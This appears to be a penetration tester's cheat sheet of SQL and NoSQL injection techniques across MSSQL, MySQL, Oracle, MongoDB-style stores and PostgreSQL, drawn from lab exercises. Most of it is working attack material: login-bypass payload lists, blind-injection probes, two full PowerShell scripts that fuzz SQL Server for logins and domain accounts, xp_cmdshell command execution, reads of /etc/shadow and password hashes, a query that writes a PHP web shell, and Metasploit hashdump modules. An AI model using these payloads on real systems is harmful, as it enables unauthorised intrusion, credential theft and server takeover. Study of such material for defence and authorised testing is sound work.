Backlink: reference-notes-readme


Error Message Identification

Error messages can help provide the back end database type, and also indicate we have a potential SQL injection flaw.

Examples of helpful error message identifiers are:

"ORA" - used as part of Oracle error messages
"Incorrect Syntax" - often in MSSQL error messages
"Error in your SQL" - indicates MySQL
5-digit hex number error code - most likely PostgreSQL

Standard Commands

SELECT - Query the data and return the results
CREATE - Create some database object like a record, tables, stored-procedure etc.
UPDATE - Update an existing database onject (such as a record).
DROP - Delete data
SHUTDOWN - Stop the server
AND - logical joining of two parts of a query
OR - logical joining of two parts of a query
UNION - join the results of two queries (number of fields must equal).
; - finish the SQL statement, and possibly start another one.
-- - comment delimiter for some database
IF - conditional statement, helpful in Blind SQL injection
SUBSTRING - Select a part of the string, helpful in Blind SQL injection
WAITFOR - Cause time delay, helpful for Blind SQL injectionl

Blind SQL Injection

We are looking for Boolean behaviors in the application, by looking for yes and no answers to queries like those below.

  • index.php?itemid=9

    • Returns data about item #9
  • index.php?itemid='

    • Returns a no item found message
  • index.php?itemid=9' and 1=1; --

    • Returns data about item #9
  • index.php?itemid=9' and 1=0; --

    • Returns a no item found message

SQLmap

Option: -r | Load http request from file.

sqlmap -r artist.request 

Run command above to test for injectability.

Switch: --dbs | List the database management system's databases.

Switch:--tables | Enumerate database tables

Switch: -D | Specify the database name to be used with table/deeper enum.


MSSQL

MS SQL Enumeration

The setspn command can be used from a cmd prompt on a compromised domain-joined workstation to locate MS SQL servers on the domain.

setspn -T corp1 -Q MSSQLSvc/*

Same information can be gathered from GetUsersSPNs.ps1 script of C# assemblies.

Fingerprints

Master database and schema tables:

SELECT name FROM master..sysobjects WHERE xtype = 'U';

Bypassing Authentication with Injection

This basic technique for bypassing a login can be used when an application uses the MSSQL database to check the authentication. However if input sanitization is not being utilized, an attacker may possibly bypass this check with SQL injection.

Single-Field Payloads

' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x
' or username LIKE '%admin%

Dual-Field Payloads

USERNAME:  ' or 1/*
PASSWORD:  */ =1 --

USERNAME: admin' or 'a'='a
PASSWORD: '#

Enumerating SQL Server Logins

Manual Method

First we want to verify that it's not possible to get a list of all logins via standard queries since that would save us a lot of time. The queries below should return only a list of default server roles, the "sa" login, and the "MyPublicUser" login.

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

Using the "SUSER_ID" function it's possible to look up the principal_id for any login.

SELECT SUSER_ID('sa')

It is also  possible to look up the user_name from a principal_id.

SELECT SUSER_NAME(1)

PowerShell Module Fuzzing

We can also import the Get-SqlServer-Enum-SqlLogins.psm1 module (located below this execution example) into our PowerShell session to fuzz through the principal_ids manually. By default the module will fuzz 300 principal_ids, but this can be increased with -FuzzNum.

Get-SqlServer-Enum-SqlLogins -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 1000

Get-SqlServer-Enum-SqlLogins.psm1

function Get-SqlServer-Enum-SqlLogins
{
    <#
        .SYNOPSIS
        This script can be used to obtain a list of all logins from a SQL Server as a sysadmin or user with the PUBLIC role.

        .DESCRIPTION
        This module can be used to obtain a list of all logins from a SQL Server with any
        login. Selecting all of the logins from the master..syslogins table is restricted 
        to sysadmins.  However, logins with the PUBLIC role (everyone) can quickly enumerate
        all SQL Server logins using the SUSER_SNAME function by fuzzing the principal_id parameter. 
        This is pretty simple, because the principal ids assigned to logins are incremental.  Once 
        logins have been enumerated they can be verified via sp_defaultdb error ananlysis.  
        This is important, because not all of the principal ids resolve to SQL logins.  Some resolve
        to roles etc.

        .EXAMPLE
        Below is an example of how to enumerate logins from a SQL Server using the current Windows user context or "trusted connection".
        PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" 

        .EXAMPLE
        Below is an example of how to enumerate logins from a SQL Server using a SQL Server login".
        PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword!

        .EXAMPLE
        Below is an example of how to enumerate logins from a SQL Server using a SQL Server login".
        PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! | Export-Csv c:\temp\sqllogins.csv -NoTypeInformation

        .EXAMPLE
        Below is an example of how to enumerate logins from a SQL Server using a SQL Server login with non default fuzznum".
        PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! -FuzzNum 500

        .LINKS
        www.netspi.com
        http://msdn.microsoft.com/en-us/library/ms174427.aspx

        .NOTES
        Author: Scott Sutherland - 2014, NetSPI
        Version: Get-SqlServer-Enum-SqlLogins v1.0
        Comments: This should work on SQL Server 2005 and Above.

    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Set SQL or Domain Login username.')]
        [string]$SqlUser,
        [Parameter(Mandatory = $false,
        HelpMessage = 'Set SQL or Domain Login password.')]
        [string]$SqlPass,   
        [Parameter(Mandatory = $true,
        HelpMessage = 'Set target SQL Server instance.')]
        [string]$SqlServerInstance,
        [Parameter(Mandatory = $false,
        HelpMessage = 'Max SID to fuzz.')]
        [string]$FuzzNum
    )

    #------------------------------------------------
    # Set default values
    #------------------------------------------------
    if(!$FuzzNum)
    {
        [int]$FuzzNum = 300
    }

    # -----------------------------------------------
    # Connect to the sql server
    # -----------------------------------------------
    # Create fun connection object
    $conn = New-Object  -TypeName System.Data.SqlClient.SqlConnection


    # Set authentication type and create connection string
    if($SqlUser)
    {
        # SQL login / alternative domain credentials
        Write-Output  -InputObject "[*] Attempting to authenticate to $SqlServerInstance with the Login $SqlUser..."
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
        [string]$ConnectUser = $SqlUser
    }
    else
    {
        # Trusted connection
        Write-Output  -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."        
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"   
        $UserDomain = [Environment]::UserDomainName
        $Username = [Environment]::UserName
        $ConnectUser = "$UserDomain\$Username"
    }

    # Attempt database connection
    try
    {
        $conn.Open()
        $conn.Close()
        Write-Host  -Object '[*] Connected.' -ForegroundColor 'green'
    }
    catch
    {
        $ErrorMessage = $_.Exception.Message
        Write-Host  -Object '[*] Connection failed' -ForegroundColor 'red'
        Write-Host  -Object "[*] Error: $ErrorMessage" -ForegroundColor 'red'

        # Clean up credentials manager entry
        if ($DomainUserCheck)
        {
            $CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
            Write-Verbose  -Message "Command: $CredManDel"   
            $ExecManDel = Invoke-Expression  -Command $CredManDel
        }
        Break
    }


    # -----------------------------------------------
    # Enumerate sql server logins with SUSER_NAME()
    # -----------------------------------------------
    Write-Host  -Object "[*] Fuzzing $FuzzNum SQL Server principal_ids..." 

    # Open database connection
    $conn.Open()

    # Create table to store results
    $MyQueryResults = New-Object  -TypeName System.Data.DataTable
    $MyQueryResultsClean = New-Object  -TypeName System.Data.DataTable
    $null = $MyQueryResultsClean.Columns.Add('name') 

    # Creat loop to fuzz principal_id number
    $PrincipalID = 0

    do 
    {
        # incrememt number
        $PrincipalID++

        # Setup query
        $query = "SELECT SUSER_NAME($PrincipalID) as name"

        # Execute query
        $cmd = New-Object  -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)

        # Parse results
        $results = $cmd.ExecuteReader()
        $MyQueryResults.Load($results)
    }
    while ($PrincipalID -le $FuzzNum-1)    

    # Filter list of sql logins
    $MyQueryResults |
    Select-Object name -Unique |
    ForEach-Object  -Process {
        # Get sql login name
        $SqlLoginName = $_.name

        # add cleaned up list to new data table
        $null = $MyQueryResultsClean.Rows.Add($SqlLoginName)
    }

    # Close database connection
    $conn.Close()

    # Display initial login count
    $SqlLoginCount = $MyQueryResultsClean.Rows.Count
    Write-Host "[*] $SqlLoginCount SQL Server logins and roles were found." 


    # ----------------------------------------------------
    # Validate sql login with sp_defaultdb error ananlysis
    # ----------------------------------------------------

    # Status user
    Write-Host  -Object '[*] Identifying the logins...'

    # Open database connection
    $conn.Open() 

    # Create table to store results
    $SqlLoginVerified = New-Object  -TypeName System.Data.DataTable
    $null = $SqlLoginVerified.Columns.Add('name') 

    # Check if sql logins are valid 
    #$MyQueryResultsClean | Sort-Object name
    $MyQueryResultsClean |
    Sort-Object  -Property name |
    ForEach-Object  -Process {
        # Get sql login name
        $SqlLoginNameTest = $_.name

        # Setup query
        $query = "EXEC sp_defaultdb '$SqlLoginNameTest', 'NOTAREALDATABASE1234ABCD'"

        # Execute query
        $cmd = New-Object  -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)

        try
        {
            $results = $cmd.ExecuteReader()
        }
        catch
        {
            $ErrorMessage = $_.Exception.Message  

            # Check the error message for a signature that means the login is real
            if (($ErrorMessage -like '*NOTAREALDATABASE*') -or ($ErrorMessage -like '*alter the login*'))
            {
                $null = $SqlLoginVerified.Rows.Add($SqlLoginNameTest)
            }                  
        }
    }

    # Close database connection
    $conn.Close()

    # Display verified logins
    $SqlLoginVerifiedCount = $SqlLoginVerified.Rows.Count
    if ($SqlLoginVerifiedCount -ge 1)
    {
        Write-Host  -Object "[*] $SqlLoginVerifiedCount logins verified:" -ForegroundColor 'green'
        $SqlLoginVerified |
        Select-Object name -Unique|
        Sort-Object  -Property name 
    }
    else
    {
        Write-Host  -Object '[*] No verified logins found.' -ForegroundColor 'red'
    }

    # Clean up credentials manager entry
    if ($DomainUserCheck)
    {
        $CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
        Write-Verbose  -Message "Command: $CredManDel"   
        $ExecManDel = Invoke-Expression  -Command $CredManDel
    }
}

Enumerating Domain Accounts

Manual Method

We should first check to see if we can execute stored procedures to get domain information. These are usually only accessible to members of the sysadmin server role.

EXEC xp_enumgroups 'DEMO';
EXEC xp_logininfo 'DEMO\Domain Admins', 'members';

If the stored procedures fail, We can use the following query to get the domain name of the SQL server.

SELECT DEFAULT_DOMAIN() as mydomain;

Then we can use the example below to get a sample RID from the domain of the SQL server. We can use any default domain users or group.

SELECT SUSER_SID('DEMO\Domain Admins')

Once we have the RID, we can extract the domain SID by grabbing the first 48 bytes of the RID. After we have the SID we can start building our own RIDs and get to fuzzing.

RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Domain RIDs start at 500. So to fuzz, we first will take 500 and convert it to hex.

1F4

We have to make sure the hex is properly formatted, in this case that is adding a 0 to the front.

01F4

We then have to reverse the order of the hex values to ensure they are interpreted correctly by SQL server.

F401

Pad the number out to 8 bytes, using 0s.

F4010000

Concatenate the domain SID and RID.

0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Now we have a new RID that can be fed into the "SUSER_NAME" function to get the associated domain account, group, or computer as shown below.

SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000)

`Then we'd just have to repeat this 10,000 more times or so to get a full list of domain accounts!

PowerShell Module

The full module code is located below this execution example. Once saved locally, it can be imported with the PowerShell command below.

Import-Module .\Get-SqlServer-Enum-WinAccounts.psm1

After importing, the function can be run as the current Windows account or a SQL login can be supplied as shown below.

Get-SqlServer-Enum-WinAccounts -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 10000

Get-SqlServer-Enum-WinAccounts.psm1

function Get-SqlServer-Enum-WinAccounts
{
    <#
        .SYNOPSIS
        This script can be used to obtain a list of Windows domain accounts associated with the domain of the SQL Server
        as any user with the PUBLIC role.

        .DESCRIPTION
        This module can be used to obtain a list of all Windows domain accounts associated with the domain of the 
        SQL Server using any login. Selecting that information is typically restricted 
        to sysadmins.  However, logins with the PUBLIC role (everyone) can enumerate
        all Windows accounts using the SUSER_SNAME function by fuzzing the principal_id parameter. 
        In the domain user context the principal_id = rid.  So it can be fuzzed by getting the domain sid
        and fuzzing the last few bytes to enumerate domain users, computers, and groups. 

        .EXAMPLE
        Below is an example of how to enumerate windows accounts from a SQL Server using the current Windows user context or "trusted connection".
        PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" 

        .EXAMPLE
        Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login".
        PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword!

        .EXAMPLE
        Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login".
        PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! | Export-Csv c:\temp\DomainAccounts.csv -NoTypeInformation

        .EXAMPLE
        Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login with non default fuzznum".
        PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! -FuzzNum 10000

        .LINKS
        www.netspi.com
        http://technet.microsoft.com/en-us/library/cc778824%28v=ws.10%29.aspx
        http://msdn.microsoft.com/en-us/library/ms174427.aspx
        http://msdn.microsoft.com/en-us/library/ms186271.aspx

        .NOTES
        Author: Scott Sutherland - 2014, NetSPI
        Version: Get-SqlServer-Enum-WinAccounts v1.0
        Comments: This should work on SQL Server 2005 and Above.

    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Set SQL or Domain Login username.')]
        [string]$SqlUser,
        [Parameter(Mandatory = $false,
        HelpMessage = 'Set SQL or Domain Login password.')]
        [string]$SqlPass,   
        [Parameter(Mandatory = $true,
        HelpMessage = 'Set target SQL Server instance.')]
        [string]$SqlServerInstance,
        [Parameter(Mandatory = $false,
        HelpMessage = 'Max SID to fuzz.')]
        [string]$FuzzNum
    )

    #------------------------------------------------
    # Set default values
    #------------------------------------------------
    if(!$FuzzNum)
    {
        [int]$FuzzNum = 10000
    }

    # -----------------------------------------------
    # Connect to the sql server
    # -----------------------------------------------
    # Create fun connection object
    $conn = New-Object  -TypeName System.Data.SqlClient.SqlConnection

    # Set authentication type and create connection string
    if($SqlUser)
    {
        # SQL login / alternative domain credentials
        Write-Output  -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the login $SqlUser..."
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
        [string]$ConnectUser = $SqlUser
    }
    else
    {
        # Trusted connection
        Write-Output  -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"   
        $UserDomain = [Environment]::UserDomainName
        $Username = [Environment]::UserName
        $ConnectUser = "$UserDomain\$Username"
    }

    # Attempt database connection
    try
    {
        $conn.Open()
        $conn.Close()
        Write-Host  -Object '[*] Connected.' -ForegroundColor 'green'
    }
    catch
    {
        $ErrorMessage = $_.Exception.Message
        Write-Host  -Object '[*] Connection failed' -ForegroundColor 'red'
        Write-Host  -Object "[*] Error: $ErrorMessage" -ForegroundColor 'red'

        # Clean up credentials manager entry
        if ($DomainUserCheck)
        {
            $CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
            Write-Verbose  -Message "Command: $CredManDel"   
            $ExecManDel = Invoke-Expression  -Command $CredManDel
        }
        Break
    }


    # -----------------------------------------------
    # Enumerate domain of the sql server
    # -----------------------------------------------
    Write-Host  -Object '[*] Enumerating domain...'

    # Open database connection
    $conn.Open()

    # Setup query
    $query = "SELECT DEFAULT_DOMAIN() as mydomain"
    $cmd = New-Object System.Data.SqlClient.SqlCommand($query,$conn)

    # Execute Query
    $results = $cmd.ExecuteReader()

    # Parse query
    $GetSqlServerDomain = New-Object System.Data.DataTable
    $GetSqlServerDomain.Load($results)
    $GetSqlServerDomain | ForEach-Object { $SqlServerDomain = $_.mydomain}

    # Status user
    Write-Host  -Object "[*] Domain found: $SqlServerDomain"

    # Close database connection
    $conn.Close()


    # -----------------------------------------------
    # Enumerate domain sid
    # -----------------------------------------------
    Write-Host  -Object '[*] Enumerating domain SID...'

    # Open database connection
    $conn.Open()

    # Setup query
    $group = "$SqlServerDomain\Domain Admins"
    $query = "select SUSER_SID('$group') as dasid"
    $cmd = New-Object System.Data.SqlClient.SqlCommand($query,$conn)

    # Execute Query
    $results = $cmd.ExecuteReader()

    # Parse query
    $GetDaSid = New-Object System.Data.DataTable
    $GetDaSid.Load($results)
    $GetDaSid | ForEach-Object { [byte[]]$DaSid = $_.dasid}
    $DaSidDirty = [System.BitConverter]::ToString($DaSid)
    $DaSidNoTrunct = $DaSidDirty.Replace("-","")
    $DaSidTrunct = $DaSidNoTrunct.Substring(0,48)

    # Status user 
    Write-Host  -Object "[*] Domain SID found: $DaSidTrunct"

    # Close database connection
    $conn.Close()


    # -----------------------------------------------
    # Enumerate windows accounts with SUSER_NAME()
    # -----------------------------------------------
    Write-Host  -Object "[*] Brute forcing $FuzzNum RIDs..." 

    # Open database connection
    $conn.Open()

    # Create table to store results
    $MyQueryResults = New-Object  -TypeName System.Data.DataTable
    $MyQueryResultsClean = New-Object  -TypeName System.Data.DataTable
    $null = $MyQueryResultsClean.Columns.Add('name') 

    # Creat loop to fuzz principal_id number
    $PrincipalID = 499    

    do 
    {
        # incrememt number
        $PrincipalID++

        # Convert to $PrincipalID to hex
        $PrincipalIDHex = '{0:x}' -f $PrincipalID

        # Get number of characters
        $PrincipalIDHexPad1 = $PrincipalIDHex | Measure-Object -Character         
        $PrincipalIDHexPad2 = $PrincipalIDHexPad1.Characters

        # Check if number is even and fix leading 0 if needed
        If([bool]($PrincipalIDHexPad2%2)){
             $PrincipalIDHexFix = "0$PrincipalIDHex"
        }

        # Reverse the order of the hex   
        $GroupsOfTwo = $PrincipalIDHexFix -split '(..)' | ? { $_ }
        $GroupsOfTwoR = $GroupsOfTwo | sort -Descending
        $PrincipalIDHexFix2 = $GroupsOfTwoR -join ''

        # Pad to 8 bytes
        $PrincipalIDPad = $PrincipalIDHexFix2.PadRight(8,'0')        

        # Create users rid  
        $Rid = "0x$DaSidTrunct$PrincipalIDPad"  
        Write-Verbose "TESTING RID: $Rid"

        # Setup query
        $query = "select SUSER_SNAME($Rid) as name"

        # Execute query
        $cmd = New-Object  -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)

        # Parse results
        $results = $cmd.ExecuteReader()
        $MyQueryResults.Load($results)
        $MyQueryResults | select name -Unique -Last 1 | ForEach-Object {$EnumUser = $_.name}

        # Show enumerated windows accounts
        if($EnumUser -like "*\*"){                        
            Write-Output "[*] - $EnumUser"
        }
    }
    while ($PrincipalID -le $FuzzNum-1)    

    # Filter list of sql logins
    $MyQueryResults |
    Select-Object name -Unique |
    Where-Object  -FilterScript {
        $_.name -notlike '*##*'
    } |
    Where-Object  -FilterScript {
        $_.name -notlike ''
    } |
    ForEach-Object  -Process {
        # Get sql login name
        $SqlLoginName = $_.name

        # add cleaned up list to new data table
        $null = $MyQueryResultsClean.Rows.Add($SqlLoginName)
    }

    # Close database connection
    $conn.Close()

    # Display initial login count
    $SqlLoginCount = $MyQueryResultsClean.Rows.Count
    Write-Host "[*] $SqlLoginCount domain accounts / groups were found." -ForegroundColor Green

    $MyQueryResultsClean | Select-Object name -Unique|Sort-Object  -Property name
}

Time-based Blind SQLi

Use the waitfor() function.

Read File

MS SQL uses Bulk Insert to read a specified file. Typically you create an empty table to store the data first.

BULK INSERT table FROM 'c:\boot.ini' --

Write File

MSSQL can not natively write to a file. We have two options to get around this.

First, we can use xp_cmdshell to call osql.exe. This requires a username and password, and easier ways probably exist.

Second, we can create a stored procedure. This requires permission to create objects, and uses the VBS FileSystem Object.

CREATE PROCEDURE sp_AppendToFile(@FileName varchar(255), @Textl varchar(255)) AS DECLARE @FS int, @OLEResult int, @FileiD int
EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT IF @OLEResult <> 0 PRINT 'Scripting.FileSystemObject'
--Open a file
execute @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileiD OUT, @FileName, 8, 1 IF @OLEResult <> 0 PRINT 'OpenTextFile'
--Write Textl
execute @OLEResult = sp_OAMethod @FileiD, 'WriteLine', Null, @Textl IF @OLEResult <> 0 PRINT 'WriteLine'
EXECUTE @OLEResult = sp_OADestroy @FileiD EXECUTE @OLEResult = sp_OADestroy @FS

OS Interaction

Accomplished using the xp_cmdshell, a stored procedure that runs OS commands. Further queries are required to retrieve the results.

To print the local route table and retrieve it:

'; exec master.xp_cmdshell 'route print > results.txt' --
'; Create Table results (outp varchar(5000)); --
'; BULK INSERT results FROM 'results.txt' with (rowterminator = "\n\n\n\n"); --
' and 1 in (select outp from results) --

xp_cmdshell disabled by default on MS SQL 2005 and later. We can re-enable it with:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Port Scanning

Inject the following command, without the need to have real credentials:

Select* from OPENROWSET ('SQLoledb', 'uid=sa; pwd=; Network=DBNETLIB; Address=10.5.42.1,80; timeout=5', 'select * from table')

To determine the state of the port, look at the error message.

Closed:

"SQL Server does not exist or access denied"

Open:

"OLE DB provider 'sqloledb' reported an error."

MySQL/MariaDB

Backend Information

To view databases:

show databases;

To use a database:

use <db_name>;

Once using a database, view tables with:

show tables;

To view columns of a table, use SHOW COLUMNS From, or it's alias DESCRIBE:

show columns from tbl_name [from db_name];
show columns from mydb.mytable;
describe tbl_name;

For syntax help, see Examining the database in SQL injection attacks | Web Security Academy

Fingerprint

Master database and schema tables:

SELECT Select_priv FROM mysql.db;

Connect from Kali

To connect from Kali:

mysql -h 10.1.1.98

SQLi Authentication Bypass

Payload Strings

' or ''='
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Union Payloads

See Micro-CMS v2 for more detailed information.

'UNION SELECT '123' AS password FROM admins WHERE '1' = '1

SQLi Web Fuzzing Payloads

Use the following to test for SQLi authentication bypass against the username field on a web page.

wfuzz -c --hh=10 -u http://10.10.10.6/torrent/login.php -w ~/tools/host/wordlists/sqli-authbypass.txt -d "username=FUZZ&password=admin" 2>&1 | tee -a ./scans/wfuzz-80-sqli-loginphp.txt

Use the following to test for SQLi authentication bypass in the password field on a web page.

wfuzz -c --hh=10 -u http://127.0.0.1:80/login.php -w "/root/cybersecurity/Tools/wordlists/sqli-authbypass.txt" -d "username=admin&password=FUZZ" 2>&1 | tee -a ./wfuzz-80-sqli-loginphp.txt

Adding "--hc 200" to the previous commands might help filter to show only positive results. The test strings that were successful returned only 302 status codes, not 200, when running against HTB - Magic.

See the following page for more information: GitHub - sayanthanpera/web-fuzzing-payloads: Use this payloads to web fuzzing test

Error-Based SQLi

See the PWK lab notes on machine 10.11.1.222 - chris for a walkthrough on error-based SQLi.

Time-Based Blind SQLi

Use the benchmark() function.

Read File

Uses load_file as part of a query, need to use a UNION to make it work.

' union select load_file('/etc/shadow'),1 #

You can also use 'load data' to read files into tables.

load data infile 'c:\filename' into table temp

Write File

Use the into directive. This can write anywhere MySQL has permissions. Write SSH key, web shell, etc.

SELECT * FROM table INTO dumpfile '/result';

You can also write something that isn't already in a table with:

UNION SELECT … INTO OUTFILE …

This is an example from the OffSec PG Practice box Medjed:

' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -'

OS Interaction

If the system is running mysql as root, you can usually privesc by exploiting the ability to create a user defined function. Check out the writeup for the Proving Grounds Practice box Banzai or Exploit-DB 1518.c for more details.

Oracle

Fingerprint

Master database and schema tables:

SELECT table_name FROM user_tables;

Read/Write File

Uses an Oracle package to read and write files, named utl_file. It might not be available to our permission level.

declare
f utl_file.file_type;
s varchar2(200);
begin
f:= utl_file.fopen('SAMPLEDATA','samplel.txt','R'); uti_file.get_line(f,s);
utl_flle.fclose(f);
dbms_output.put_line(s);
end;

NoSQL

Background Info

Of course NoSQL is even more different than MSSQL or standard Oracle/MariaDB SQL. In regular SQL, the following two lines would be representative of a standard username lookup statement, and an injected username lookup statement respectively.

select * from username where username = '$user';
select * from username where username = 'admin' OR username != 'admin'-- -;asdasd

Now in NoSQL, the statement is structured differently.

findone(array(
    "username" => "$user"
));

These queries don't really support doing something like OR user = 1=1 kind of thing. What has to be done instead is give it an object to get it to say "note equal to something", or "{$ne:} ". The resulting query would look like the following.

findone(array(
    "iserma,e" => "{$ne:"}"
));

PHP

How can an object get sent over the web though? For web/php applications, it can be sent as an array, with brackets before a variables equal sign in the request data. We would want to send values that are not on the server, because if we sent 'admin', and there was an admin account, the not equal to statement would return false, not true like is the goal.

username[$ne]=FakeAcc&password[$ne]=FakePass&login=login

NodeJS

NodeJS isn't going to allow us to pass parameters like this though. In order to send the object in this case, the Content-Type header needs to be changed to 'Content-Type: application/json' and the payload needs to be changed into json as well, as shown below.

{
"username":    {    "$ne":    "FakeAcc"     },
"password":    {    "$ne":    "TakePass"    },
"login":    "login"
}

Further Enumeration

Also learned from ippsec, you can pass other objects in to NoSQL. For example, you can pass regex, and deduce the length of usernames.

username[$regex]=^.{6}$&password[$ne]=FakePass&login=login

I used this to wfuzz the range 1..15. This resulted in the discovery that there was a valid 5 digit username due to the 302 response.

wfuzz -c  -u http://10.10.10.162/ -w int.txt -d 'username[$regex]=^.{FUZZ}$&password[$ne]=FakePass&login=login' -H 'Host: staging-order.mango.htb' 2>/dev/null


********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.162/
Total requests: 16

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000003:   200        209 L    403 W    4022 Ch     "2"
000000015:   200        209 L    403 W    4022 Ch     "14"
000000007:   200        209 L    403 W    4022 Ch     "6"
000000001:   200        209 L    403 W    4022 Ch     "http://10.10.10.162/"
000000014:   200        209 L    403 W    4022 Ch     "13"
000000006:   302        209 L    403 W    4022 Ch     "5"
000000011:   200        209 L    403 W    4022 Ch     "10"
000000012:   200        209 L    403 W    4022 Ch     "11"
000000016:   200        209 L    403 W    4022 Ch     "15"
000000013:   200        209 L    403 W    4022 Ch     "12"
000000010:   200        209 L    403 W    4022 Ch     "9"
000000009:   200        209 L    403 W    4022 Ch     "8"
000000008:   200        209 L    403 W    4022 Ch     "7"
000000002:   200        209 L    403 W    4022 Ch     "1"
000000005:   200        209 L    403 W    4022 Ch     "4"
000000004:   200        209 L    403 W    4022 Ch     "3"

Total time: 0.098095
Processed Requests: 16
Filtered Requests: 0
Requests/sec.: 163.1061

PostgreSQL

Basic Information

PostgreSQL is an open source object-relational database system that uses and extends the SQL language.

Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.

Fingerprint

Master database and schema tables:

SELECT relname FROM pg_class ;

Connect

psql -U <myuser> # Open psql console with user
psql -h <host> -p <port> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

Use Syntax

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;

#You can also read files and folders with pg_ls_dir:
select pg_ls_dir('./');

select pg_ls_dir('/etc/passwd');


#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('<B64 payload>','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd'; 

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false

#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type 
FROM information_schema.role_table_grants 
WHERE table_name='pg_shadow'

#Get users roles
SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolconnlimit, r.rolvaliduntil,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

Enumeration

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Post-Exploitation

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

Logging

Inside the postgresql.conf file you can enable postgresql logs changing:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
